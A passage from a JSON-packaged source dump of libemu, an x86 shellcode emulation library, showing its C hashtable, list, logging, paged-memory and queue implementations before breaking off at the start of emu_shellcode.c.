malloc(sizeof(struct emu_hashtable_bucket *) * size);\n\tmemset(eh->buckets, 0, sizeof(struct emu_hashtable_bucket *) * size);\n\t\n\treturn eh;\n}\n\nvoid emu_hashtable_free(struct emu_hashtable *eh)\n{\n\tuint32_t i;\n\tstruct emu_hashtable_bucket *ehb;\n\tstruct emu_hashtable_bucket_item *ehbi;\n\n\tfor (i=0;i<eh->size;i++)\n\t{\n\t\tif ((ehb = eh->buckets[i]) != NULL)\n\t\t{\n\n\t\t\twhile ((ehbi = emu_hashtable_bucket_items_remove_first(ehb->items)) != NULL)\n\t\t\t{\n\t\t\t\tif (eh->key_destructor != NULL)\n\t\t\t\t{\n\t\t\t\t\teh->key_destructor(ehbi->item.key);\n\t\t\t\t}\n\t\t\t\tif (eh->value_destructor != NULL)\n\t\t\t\t{\n\t\t\t\t\teh->value_destructor(ehbi->item.value);\n\t\t\t\t}\n\t\t\t\temu_hashtable_bucket_item_free(ehbi);\n\t\t\t}\n\t\n\t\t\temu_hashtable_bucket_free(ehb);\n\t\t}\n\t}\n\n\tfree(eh->buckets);\n\tfree(eh);\n}\n\nstruct emu_hashtable_item *emu_hashtable_search(struct emu_hashtable *eh, void *key)\n{\n\tuint32_t first_hash = eh->hash(key) % eh->size;\n\n\tstruct emu_hashtable_bucket *ehb = \teh->buckets[first_hash];\n\tif (ehb == NULL)\n\t\treturn NULL;\n\n\tstruct emu_hashtable_item *ehi;\n\tstruct emu_hashtable_bucket_item *ehbi;\n\n\tfor (ehbi = emu_hashtable_bucket_items_first(ehb->items); !emu_hashtable_bucket_items_attail(ehbi); ehbi = emu_hashtable_bucket_items_next(ehbi))\n\t{\n\t\tehi = &ehbi->item;\n\t\tif (eh->cmp(ehi->key, key) == true)\n\t\t\treturn ehi;\n\t}\n\n\treturn NULL;\n}\n\nstruct emu_hashtable_item *emu_hashtable_insert(struct emu_hashtable *eh, void *key, void *data)\n{\n\tstruct emu_hashtable_item *ehi;\n\tif ((ehi = emu_hashtable_search(eh, key)) == NULL)\n\t{\n\t\tstruct emu_hashtable_bucket_item *ehbi = emu_hashtable_bucket_item_new(key, data);\n\t\tehi = &ehbi->item;\n\n\t\tuint32_t first_hash = eh->hash(key) % eh->size;\n\n\t\tstruct emu_hashtable_bucket *ehb;\n\t\tif ((ehb = eh->buckets[first_hash]) == NULL)\n\t\t{\n\t\t\tehb = emu_hashtable_bucket_new();\n\t\t\teh->buckets[first_hash] = ehb;\n\t\t}\n\n\t\temu_hashtable_bucket_items_insert_last(ehb->items,ehbi);\n\t}else\n\t{\n\t\tehi->value = data;\n\t}\n\t\n\treturn ehi;\n}\n\nbool emu_hashtable_delete(struct emu_hashtable *eh, void *key)\n{\n\tuint32_t first_hash = eh->hash(key) % eh->size;\n\n\tstruct emu_hashtable_bucket *ehb;\n\tif ((ehb = eh->buckets[first_hash]) != NULL)\n\t{\n\t\tstruct emu_hashtable_bucket_item *ehbi;\n\n\t\tfor (ehbi = emu_hashtable_bucket_items_first(ehb->items); !emu_hashtable_bucket_items_attail(ehbi); ehbi = emu_hashtable_bucket_items_next(ehbi))\n\t\t{\n\t\t\tstruct emu_hashtable_item *ehi;\n\t\t\tehi = &ehbi->item;\n\t\t\tif (eh->cmp(ehi->key, key) == true)\n\t\t\t{\n\t\t\t\tif (eh->value_destructor != NULL)\n                \teh->value_destructor(ehi->value);\n\n\t\t\t\tif (eh->key_destructor != NULL)\n\t\t\t\t\teh->key_destructor(ehi->key);\n\t\t\t\t\n\t\t\t\temu_hashtable_bucket_items_remove(ehbi);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false;\n}\n\n\n\nstruct emu_hashtable_bucket *emu_hashtable_bucket_new(void)\n{\n\tstruct emu_hashtable_bucket *ehb = (struct emu_hashtable_bucket *)malloc(sizeof(struct emu_hashtable_bucket));\n\tif( ehb == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(ehb, 0, sizeof(struct emu_hashtable_bucket));\n\tehb->items = emu_hashtable_bucket_items_create();\n\treturn ehb;\n}\n\nvoid emu_hashtable_bucket_free(struct emu_hashtable_bucket *ehb)\n{\n\temu_hashtable_bucket_items_destroy(ehb->items);\n\tfree(ehb);\n}\n\nstruct emu_hashtable_bucket_item *emu_hashtable_bucket_item_new(void *key, void *value)\n{\n\tstruct emu_hashtable_bucket_item *ehbi = (struct emu_hashtable_bucket_item *)malloc(sizeof(struct emu_hashtable_bucket_item));\n\tif( ehbi == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(ehbi, 0, sizeof(struct emu_hashtable_bucket_item));\n\n\tehbi->item.key = key;\n\tehbi->item.value = value;\n\n\temu_hashtable_bucket_items_init_link(ehbi);\n\n\treturn ehbi;\n}\n\n\nvoid emu_hashtable_bucket_item_free(struct emu_hashtable_bucket_item *ehbi)\n{\n\tfree(ehbi);\n}\n\n\n\n/**\n * string hashing function to avoid duplicate code\n * algo is djb2 taken from http://www.cse.yorku.ca/~oz/hash.html\n * \n * @param data   the string to hash\n * \n * @return the hash\n */\nuint32_t emu_hashtable_string_hash(void *key)\n{\n#ifdef LSOD_HASH\n    uint32_t hash = 0;\n    char *c = (char *)key;\n\n\twhile (*c != 0)\n\t{\n\t\thash = hash << 19 | hash >> 13;\n\t\thash += *c;\n\t\tc++;\n\t}\n\n    return hash;\n#else\n\tunsigned char *str = key;\n\tunsigned long hash = 5381;\n\tint c;\n\n\twhile ( (c = *str++) != 0 )\n\t\thash = ((hash << 5) + hash) + c; /* hash * 33 + c */\n\n\treturn hash;\n#endif\n}\n\nbool emu_hashtable_string_cmp(void *a, void *b)\n{\n\tif ( strcmp(a, b) == 0 )\n\t\treturn true;\n\n\treturn false;\n}\n\nuint32_t emu_hashtable_ptr_hash(void *key)\n{\n\tuint32_t ukey = (uint32_t)(uintptr_t)key;\n\tukey++;\n\treturn ukey;\n}\n\nbool emu_hashtable_ptr_cmp(void *a, void *b)\n{\n\tif ( (uintptr_t)a == (uintptr_t)b )\n\t\treturn true;\n\n\treturn false;\n}\n\n"
  },
  {
    "path": "src/emu_list.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <string.h>\n\n#include \"emu/emu_list.h\"\n\nsource_list_functions(emu_list, emu_list_root, emu_list_item, link);\n\nstruct emu_list_item *emu_list_item_create(void)\n{\n\tstruct emu_list_item *eli = malloc(sizeof(struct emu_list_item));\n\tmemset(eli, 0, sizeof(struct emu_list_item));\n\temu_list_init_link(eli);\n\treturn eli;\n}\n\n"
  },
  {
    "path": "src/emu_log.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdio.h>\n#include <stdarg.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n\n\n\nstruct emu_logging\n{\n\tenum emu_log_level loglevel;\n\n\temu_log_logcb logcb;\n};\n\n\nstruct emu_logging *emu_log_new(void)\n{\n\tstruct emu_logging *el = (struct emu_logging *)malloc(sizeof(struct emu_logging));\n\tif( el == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(el, 0, sizeof(struct emu_logging));\n\n\tel->logcb = emu_log_default_logcb;\n\n\treturn el;\n}\n\nvoid emu_log_free(struct emu_logging *el)\n{\n\tfree(el);\n}\n\nvoid emu_log_level_set(struct emu_logging *el, enum emu_log_level level)\n{\n\tel->loglevel = level;\n}\n\nvoid emu_log(struct emu *e, enum emu_log_level level, const char *format, ...)\n{\n\tstruct emu_logging *el = emu_logging_get(e);\n\n\tif ( el->loglevel == EMU_LOG_NONE )\n\t\treturn;\n\n\tif ( el->loglevel < level )\n\t\treturn;\n\n\n\tva_list         ap;\n\tchar            *message;\n\n\tva_start(ap, format);\n\tint va = vasprintf(&message, format, ap);\n\tva_end(ap);\n\n\tif (va == -1)\n\t\tmessage = strdup(\"failed to allocate memory in vasprintf\\n\");\n\n\tel->logcb(e, level, message);\n\n\tfree(message);\n}\n\nvoid emu_log_set_logcb(struct emu_logging *el, emu_log_logcb logcb)\n{\n\tel->logcb = logcb;\n}\n\nvoid emu_log_default_logcb(struct emu *e, enum emu_log_level level, const char *msg)\n{\n\tconst char *lev[] = {\"none\",\"\\033[32;1minfo\\033[0m\",\"\\033[31;1mdebug\\033[0m\"};\n\tfprintf(stdout,\"[emu 0x%p %s ] \",(void *)e, lev[level]);\n\tfprintf(stdout,\"%s\", msg);\n}\n"
  },
  {
    "path": "src/emu_memory.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <string.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <stdbool.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/emu_breakpoint.h\"\n\n\n#define PAGE_BITS 12 /* size of one page, 2^12 = 4096 */\n#define PAGESET_BITS 10 /* number of pages in one pageset, 2^10 = 1024 */\n\n#ifndef PAGE_SIZE\n  #define PAGE_SIZE (1 << PAGE_BITS)\n#endif\n\n#define PAGESET_SIZE (1 << PAGESET_BITS)\n\n#define PAGESET(x) ((x) >> (PAGESET_BITS + PAGE_BITS))\n#define PAGE(x) (((x) >> PAGE_BITS) & ((1 << PAGESET_BITS) - 1))\n#define OFFSET(x) (((1 << PAGE_BITS) - 1) & (x))\n\n#define FS_SEGMENT_DEFAULT_OFFSET 0x7ffdf000\n\n\n\nstruct emu_memory\n{\n\tstruct emu *emu;\n\tvoid ***pagetable;\n\t\n\tuint32_t segment_offset;\n\tenum emu_segment segment_current;\n\t\n\tuint32_t segment_table[6];\n\n\tbool read_only_access;\n\t\n\tstruct emu_breakpoint *breakpoint;\n};\n\n#if 1\n/*static void emu_memory_debug_pagetable(struct emu_memory *m)\n{\n\tint pagesets = 1 << (32 - PAGESET_BITS - PAGE_BITS);\n\tint pagesets_used = 0;\n\t\n\tprintf(\"*** memory debug\\n\");\n\t\n\tint i, j;\n\t\n\tfor( i = 0; i < pagesets; i++ )\n\t{\n\t\tif( m->pagetable[i] != NULL )\n\t\t{\n\t\t\tprintf(\"  pageset %d allocated at 0x%08x\\n\", i, (int)m->pagetable[i]);\n\t\t\tint pages = 1 << (PAGESET_BITS);\n\t\t\tint pages_used = 0;\n\n\t\t\tfor( j = 0; j < pages; j++ )\n\t\t\t{\n\t\t\t\tif( m->pagetable[i][j] != NULL )\n\t\t\t\t{\n\t\t\t\t\tprintf(\"\tpage %d allocated at 0x%08x\\n\", j, (int)m->pagetable[i][j]);\n\t\t\t\t\tpages_used++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tprintf(\"\t%d/%d pages used\\n\", pages_used, pages);\n\t\t\t\n\t\t\tpagesets_used++;\n\t\t}\n\t}\n\t\n\tprintf(\"  %d/%d pagesets used\\n\", pagesets_used, pagesets);\n\tprintf(\"*** end of memory debug\\n\");\n}\n\nstatic void emu_memory_debug_addr(uint32_t addr)\n{\n\tprintf(\"addr 0x%08x, pageset 0x%08x, page 0x%08x, offset 0x%08x\\n\",\n\t\taddr, PAGESET(addr), PAGE(addr), OFFSET(addr));\n}*/\n#endif\n\nuint32_t emu_memory_get_usage(struct emu_memory *m)\n{\n\tuint32_t usage = (1 << (32 - PAGE_BITS - PAGESET_BITS)) * sizeof(void *); /* pageset table */\n\tint pagesets = 1 << (32 - PAGESET_BITS - PAGE_BITS);\n\t\n\tint i, j;\n\t\n\tfor( i = 0; i < pagesets; i++ )\n\t{\n\t\tif( m->pagetable[i] != NULL )\n\t\t{\n\t\t\tusage += PAGESET_SIZE * sizeof(void *);\n\t\t\tint pages = 1 << (PAGESET_BITS);\n\n\t\t\tfor( j = 0; j < pages; j++ )\n\t\t\t\tif( m->pagetable[i][j] != NULL )\n\t\t\t\t\tusage += PAGE_SIZE;\n\t\t}\n\t}\n\t\n\treturn usage;\n}\n\nstruct emu_memory *emu_memory_new(struct emu *e)\n{\n\tstruct emu_memory *em = (struct emu_memory *)malloc(sizeof(struct emu_memory));\n\tif( em == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(em, 0, sizeof(struct emu_memory));\n\t\n\tem->emu = e;\n\t\n\tem->pagetable = malloc((1 << (32 - PAGE_BITS - PAGESET_BITS)) * sizeof(void *));\n\tif( em->pagetable == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(em->pagetable, 0, (1 << (32 - PAGE_BITS - PAGESET_BITS)) * sizeof(void *));\n\t\n\tem->segment_table[s_fs] = FS_SEGMENT_DEFAULT_OFFSET;\n\n\tem->read_only_access = false;\n\n\tem->breakpoint = emu_breakpoint_alloc(em);\n\tif ( em->breakpoint == NULL ) \n\t{\n\t\treturn NULL;\n\t}\n\t\n\n\treturn em;\n}\n\nvoid emu_memory_free(struct emu_memory *m)\n{\n\tint i, j;\n\t\n\temu_breakpoint_free(m->breakpoint);\n\n\tfor( i = 0; i < (1 << (32 - PAGESET_BITS - PAGE_BITS)); i++ )\n\t{\n\t\tif( m->pagetable[i] != NULL )\n\t\t{\n\t\t\tfor( j = 0; j < PAGESET_SIZE; j++ )\n            {\n\t\t\t\tif( m->pagetable[i][j] != NULL ) {\n\t\t\t\t\tfree(m->pagetable[i][j]);\n\t\t\t\t\tm->pagetable[i][j] = NULL;\n\t\t\t\t}\n            }\n\n\t\t\tfree(m->pagetable[i]);\n            m->pagetable[i] = NULL;\n\t\t}\n\t}\n\n\tfree(m->pagetable);\n\tfree(m);\n}\n\nvoid emu_memory_clear(struct emu_memory *m)\n{\n\tint i, j;\n\t\n\tfor( i = 0; i < (1 << (32 - PAGESET_BITS - PAGE_BITS)); i++ )\n\t{\n\t\tif( m->pagetable[i] != NULL )\n\t\t{\n\t\t\tfor( j = 0; j < PAGESET_SIZE; j++ )\n\t\t\t\tif( m->pagetable[i][j] != NULL )\n\t\t\t\t\tfree(m->pagetable[i][j]);\n\t\t\t\n\t\t\tfree(m->pagetable[i]);\n\t\t}\n\t}\n\n\tmemset(m->pagetable, 0, (1 << (32 - PAGE_BITS - PAGESET_BITS)) * sizeof(void *));\n\t\n\tm->segment_table[s_fs] = FS_SEGMENT_DEFAULT_OFFSET;\n\n\tm->read_only_access = false;\n}\n\nstatic inline int page_is_alloc(struct emu_memory *em, uint32_t addr)\n{\n\tif( em->pagetable[PAGESET(addr)] != NULL )\n\t{\n\t\tif( em->pagetable[PAGESET(addr)][PAGE(addr)] != NULL )\n\t\t{\n\t\t\treturn -1;\n\t\t} \n\t}\n\t\n\treturn 0;\n}\n\nstatic inline int page_alloc(struct emu_memory *em, uint32_t addr)\n{\n\tif( em->pagetable[PAGESET(addr)] == NULL )\n\t{\n\t\tem->pagetable[PAGESET(addr)] = malloc(PAGESET_SIZE * sizeof(void *));\n\t\t\n\t\tif( em->pagetable[PAGESET(addr)] == NULL )\n\t\t{\n\t\t\temu_errno_set(em->emu, ENOMEM);\n\t\t\temu_strerror_set(em->emu, \"out of memory\\n\", addr);\n\t\t\treturn -1;\n\t\t}\n\t\t\n\t\tmemset(em->pagetable[PAGESET(addr)], 0, PAGESET_SIZE * sizeof(void *));\n\t}\n\n\tif( em->pagetable[PAGESET(addr)][PAGE(addr)] == NULL )\n\t{\n\t\tem->pagetable[PAGESET(addr)][PAGE(addr)] = malloc(PAGE_SIZE);\n\t\t\n\t\tif( em->pagetable[PAGESET(addr)][PAGE(addr)] == NULL )\n\t\t{\n\t\t\temu_errno_set(em->emu, ENOMEM);\n\t\t\temu_strerror_set(em->emu, \"out of memory\\n\", addr);\n\t\t\treturn -1;\n\t\t}\n\t\tmemset(em->pagetable[PAGESET(addr)][PAGE(addr)], 0, PAGE_SIZE);\n\t}\n\n\treturn 0;\n}\n\nstatic inline void *translate_addr(struct emu_memory *em, uint32_t addr)\n{\n\tif( em->pagetable[PAGESET(addr)] != NULL )\n\t{\n\t\tif( em->pagetable[PAGESET(addr)][PAGE(addr)] != NULL )\n\t\t{\n\t\t\treturn em->pagetable[PAGESET(addr)][PAGE(addr)] + OFFSET(addr);\n\t\t}\n\t}\n\t\n\treturn NULL;\n}\n\nint32_t emu_memory_read_byte(struct emu_memory *m, uint32_t addr, uint8_t *byte)\n{\n\taddr += m->segment_offset;\n\tvoid *address = translate_addr(m, addr);\n\t\n\tif( address == NULL )\n\t{\n\t\temu_errno_set(m->emu, EFAULT);\n\t\temu_strerror_set(m->emu, \"error accessing 0x%08x not mapped\\n\", addr);\n\t\treturn -1;\n\t}\n\t\n\t*byte = *((uint8_t *)address);\n\t\n\treturn 0;\n}\n\nint32_t emu_memory_read_word(struct emu_memory *m, uint32_t addr, uint16_t *word)\n{\n#if BYTE_ORDER == BIG_ENDIAN\n\tuint16_t val;\n\tint32_t retval = emu_memory_read_block(m, addr, &val, 2);\n\tval =  ((val & 0xff00) >> 8) | \n\t\t   ((val & 0x00ff) << 8);\n\tbcopy(&val,word,2);\n\treturn retval;\n#else\n\treturn emu_memory_read_block(m, addr, word, 2);\n#endif\n}\n\nint32_t emu_memory_read_dword(struct emu_memory *m, uint32_t addr, uint32_t *dword)\n{\n#if BYTE_ORDER == BIG_ENDIAN\n\tuint32_t val;\n\tint32_t retval =  emu_memory_read_block(m, addr, &val, 4);\n\tval =  ((val & (0xff000000)) >> 24) | \n\t\t   ((val & (0x00ff0000)) >> 8)  | \n\t\t   ((val & (0x0000ff00)) << 8) | \n\t\t   ((val & (0x000000ff)) << 24);\n\tmemcpy(dword, &val, 4);\n\treturn retval;\n#else\n\treturn emu_memory_read_block(m, addr, dword, 4);\n#endif\n}\n\nint32_t emu_memory_read_block(struct emu_memory *m, uint32_t addr, void *dest, size_t len)\n{\n\n\temu_breakpoint_check(m, addr, EMU_ACCESS_READ);\n\tuint32_t oaddr = addr; /* save original addr for recursive call */\n\taddr += m->segment_offset;\n\t\n\tvoid *address = translate_addr(m, addr);\n\t\n\tif( address == NULL )\n\t{\n\t\temu_errno_set(m->emu, EFAULT);\n\t\temu_strerror_set(m->emu, \"error accessing 0x%08x not mapped\\n\", addr);\n\t\treturn -1;\n\t}\n\n\tif (OFFSET(addr) + len <= PAGE_SIZE)\n\t{\n\t\tbcopy(address, dest, len);\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\tuint32_t cb = PAGE_SIZE - OFFSET(addr);\n\t\tbcopy(address, dest, cb);\n\t\treturn emu_memory_read_block(m, oaddr + cb, dest + cb, len - cb);\n\t}\n}\n\nint32_t emu_memory_read_string(struct emu_memory *m, uint32_t addr, struct emu_string *s, uint32_t maxsize)\n{\n\tuint32_t i = 0;\n\t\n\tvoid *address;\n\t\n\twhile( 1 )\n\t{\n\t\tif (i > maxsize - 1)\n\t\t\treturn -1;\n\t\t\n\t\taddress = translate_addr(m, addr + i);\n\n\t\tif( address == NULL )\n\t\t\treturn -1;\n\n\t\tif( *(uint8_t *)address == '\\0' )\n\t\t\tbreak;\n\n\t\ti++;\n\t}\n\n\ts->data = malloc(i + 1);\n\tmemset(s->data, 0, i + 1);\n\ts->size = i;\n\n\treturn emu_memory_read_block(m, addr, s->data, i);\n}\n\n\nint32_t emu_memory_write_byte(struct emu_memory *m, uint32_t addr, uint8_t byte)\n{\n\tif ( m->read_only_access == true )\n\t\treturn 0;\n\t\n\n\taddr += m->segment_offset;\n\n\tvoid *address = translate_addr(m, addr);\n\t\n\tif( address == NULL )\n\t{\n\t\tif( page_alloc(m, addr) == -1 )\n\t\t\treturn -1;\n\n\t\taddress = translate_addr(m, addr);\n\t}\n\t\n\t*((uint8_t *)address) = byte;\n\t\n\treturn 0;\n}\n\nint32_t emu_memory_write_word(struct emu_memory *m, uint32_t addr, uint16_t word)\n{\n\tif (m->read_only_access == true)\n\t\treturn 0;\n\n#if BYTE_ORDER == BIG_ENDIAN\n\tuint16_t val;\n\tbcopy(&word, &val, 2);\n\tval = ((val & 0xff00) >> 8) | \n\t\t  ((val & 0x00ff) << 8);\n\treturn emu_memory_write_block(m, addr, &val, 2);\n#else\n\treturn emu_memory_write_block(m, addr, &word, 2);\n#endif\n}\n\nint32_t emu_memory_write_dword(struct emu_memory *m, uint32_t addr, uint32_t dword)\n{\n\tif (m->read_only_access == true)\n\t\treturn 0;\n\n#if BYTE_ORDER == BIG_ENDIAN\n\tuint32_t val;\n\tbcopy(&dword, &val, 4);\n\tval = ((val & (0xff000000)) >> 24) |\n\t\t  ((val & (0x00ff0000)) >> 8)  |\n\t\t  ((val & (0x0000ff00)) << 8)  |\n\t\t  ((val & (0x000000ff)) << 24);\n\treturn emu_memory_write_block(m, addr, &val, 4);\n#else\n\treturn emu_memory_write_block(m, addr, &dword, 4);\n#endif\n}\n\nint32_t emu_memory_write_block(struct emu_memory *m, uint32_t addr, const void *src, size_t len)\n{\n\temu_breakpoint_check(m, addr, EMU_ACCESS_WRITE);\n\tif (m->read_only_access == true)\n\t\treturn 0;\n\n\tuint32_t oaddr = addr; /* save original addr for recursive call */\n\taddr += m->segment_offset;\n\n\tvoid *address = translate_addr(m, addr);\n\n\tif( address == NULL )\n\t{\n\t\tif( page_alloc(m, addr) == -1 )\n\t\t\treturn -1;\n\n\t\taddress = translate_addr(m, addr);\n\t}\n\n\tif (OFFSET(addr) + len <= PAGE_SIZE)\n\t{\n\t\tbcopy(src, address, len);\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\tuint32_t cb = PAGE_SIZE - OFFSET(addr);\n\t\tbcopy(src, address, cb);\n\t\treturn emu_memory_write_block(m, oaddr + cb, src + cb, len - cb);\n\t}\n\n\treturn 0;\n\n}\n\nvoid emu_memory_segment_select(struct emu_memory *m, enum emu_segment s)\n{\n\tm->segment_current = s;\n\tm->segment_offset = m->segment_table[m->segment_current];\n}\n\nenum emu_segment emu_memory_segment_get(struct emu_memory *m)\n{\n\treturn m->segment_current;\n}\n\n/* make sure a memory block of size *len* is allocated at *addr* */\n/*int32_t emu_memory_alloc_at(struct emu_memory *m, uint32_t addr, size_t len)\n{\n\tlen += addr % PAGE_SIZE;\n\taddr = (addr >> PAGE_BITS) << PAGE_BITS;\n\t\n\twhile( len > 0 )\n\t{\n\t\tif( len > PAGE_SIZE )\n\t\t{\n\t\t\tlen -= PAGE_SIZE;\n\t\t\tpage_alloc(m, addr);\n\t\t\taddr += PAGE_SIZE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tlen -= len; \n\t\t\tpage_alloc(m, addr);\n\t\t}\n\t}\n\n\treturn 0;\n}*/\n\nint32_t emu_memory_alloc(struct emu_memory *m, uint32_t *addr, size_t len)\n{\n\t*addr = 0x00200000;\n\t\n\tuint32_t pages = len / PAGE_SIZE;\n\t\n\tif( len % PAGE_SIZE != 0 )\n\t{\n\t\tpages++;\n\t}\n\n\tint i;\n\t\n\t/* TODO: ensure termination */\n\tfor( ; ; )\n\t{\n\t\tfor( i = 0; i < pages; i++ )\n\t\t{\n\t\t\tif( page_is_alloc(m, *addr + i * PAGE_SIZE) != 0 )\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif( i == pages )\n\t\t{\n\t\t\tfor( i = 0; i < pages; i++ )\n\t\t\t{\n\t\t\t\tif( page_alloc(m, *addr + i * PAGE_SIZE) )\n\t\t\t\t{\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn 0;\n\t\t}\n\t\t\n\t\t*addr += len + PAGE_SIZE;\n\t}\n\t\n\treturn -1;\n}\n\nvoid emu_memory_mode_ro(struct emu_memory *m)\n{\n\tm->read_only_access = true;\n}\n\nvoid emu_memory_mode_rw(struct emu_memory *m)\n{\n\tm->read_only_access = false;\n}\n\n\n/*  Everything below this is ugly.  */\nstruct emu_breakpoint *emu_memory_get_breakpoint(struct emu_memory *m)\n{\n\treturn m->breakpoint;\n}\n\n\nstruct emu *emu_memory_get_emu(struct emu_memory *m)\n{\n\treturn m->emu;\n}\n"
  },
  {
    "path": "src/emu_queue.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include <stdlib.h>\n#include <stdbool.h>\n#include <string.h>\n\n#include \"emu/emu_queue.h\"\n\nstruct emu_queue *emu_queue_new(void)\n{\n\tstruct emu_queue *eq = (struct emu_queue *)malloc(sizeof(struct emu_queue));\n\tif( eq == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(eq, 0, sizeof(struct emu_queue));\n\treturn eq;\n}\n\nvoid emu_queue_free(struct emu_queue *eq)\n{\n\twhile ( emu_queue_empty(eq) == false )\n\t{\n\t\temu_queue_dequeue(eq);\n\t}\n\tfree(eq);\n}\n\nvoid *emu_queue_front(struct emu_queue *eq)\n{\n\treturn eq->front->data;\n}\n\nvoid  emu_queue_enqueue(struct emu_queue *eq, void *data)\n{\n\tstruct emu_queue_item *eqi = emu_queue_item_new();\n\teqi->data = data;\n\n\tif (emu_queue_empty(eq) == true)\n\t{\n\t\teq->front = eqi;\n\t\teq->back = eqi;\n\t}else\n\t{\n\t\teq->back->next = eqi;\n\t\teq->back = eqi;\n\t}\n}\n\nvoid *emu_queue_dequeue(struct emu_queue *eq)\n{\n\tif (emu_queue_empty(eq) == true)\n\t\treturn NULL;\n\n\tstruct emu_queue_item *eqi = eq->front;\n\n\t// last element\n\tif ( eq->front == eq->back )\n\t\teq->front = eq->back = NULL;\n\telse\n\t\teq->front = eq->front->next;\n\n\tvoid *data = eqi->data;\n\temu_queue_item_free(eqi);\n\treturn data;\n}\n\n\nbool  emu_queue_empty(struct emu_queue *eq)\n{\n\tif (eq->front == NULL)\n\t\treturn true;\n\telse\n\t\treturn false;\n}\n\n\nstruct emu_queue_item *emu_queue_item_new(void)\n{\n\tstruct emu_queue_item *eqi = (struct emu_queue_item *)malloc(sizeof(struct emu_queue_item));\n\tif( eqi == NULL )\n\t{\n\t\treturn NULL;\n\t}\n\tmemset(eqi, 0, sizeof(struct emu_queue_item));\n\treturn eqi;\n\n}\n\nvoid emu_queue_item_free(struct emu_queue_item *eqi)\n{\n\tfree(eqi);\n}\n\n"
  },
  {
    "path": "src/emu_shellcode.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include 